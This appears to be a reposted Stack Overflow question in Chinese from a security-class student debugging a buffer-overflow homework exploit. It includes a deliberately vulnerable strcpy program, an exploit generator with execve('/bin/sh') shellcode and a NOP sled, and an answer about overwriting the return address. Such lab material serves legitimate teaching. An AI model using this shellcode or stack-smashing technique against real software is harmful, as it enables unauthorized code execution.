gpt4 book ai didi

c - 缓冲区溢出作为家庭作业

转载 作者:太空狗 更新时间:2023-10-29 15:09:06 27 4
gpt4 key购买 nike

仍在为安全类(class)学习缓冲区溢出知识,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

使用这个漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");

//NOPslide
memset(&buffer,0x90,517);

//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;

int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;

for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];

strcpy(buffer,large_string);
//END FILL BUFFER

//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);

return 0;
}

出于某种原因,当我通过运行 exploit 创建 badfile 时,它​​不会向其推送任何内容。缓冲区为空或写入不正确。我似乎找不到我的错误,在不知疲倦地谷歌搜索后,我找不到足够的答案。根据我对我使用的填充缓冲区代码的理解,这应该用我的缓冲区地址填充 long_string,然后将我的 shellcode 放在 long_string 的开头(在一点 NOOP 幻灯片之后),然后将 long_string 复制回缓冲区。我真的没有看到这个或 fwrite 有任何问题。有什么建议吗?

最佳答案

好吧,您需要了解粉碎堆栈的真正作用。它基本上破坏了很多值并覆盖了一个特定地址,该地址基本上是堆栈上返回指针的地址 ($ebp + 4)。您肯定是在尝试破坏堆栈,但是您必须做大量的事情才能准确了解您需要用指向您的 shellcode 的另一个地址覆盖哪个地址。

http://www.phrack.com/issues.html?issue=49&id=14

目前你没有这两件事中的任何一个。

您应该使用 gdb 或其他工具来检查实际易受攻击代码的汇编代码并查看返回地址。基于此,您尝试使用命令行粉碎堆栈。

然后你在不破坏堆栈的情况下运行你的漏洞利用代码。 try catch 实际的返回地址,您应该将其指向放置 shellcode 的位置。

你应该按照phrack的阅读来真正理解粉碎堆栈的概念。希望对您有所帮助!

关于c - 缓冲区溢出作为家庭作业,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/14847015/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com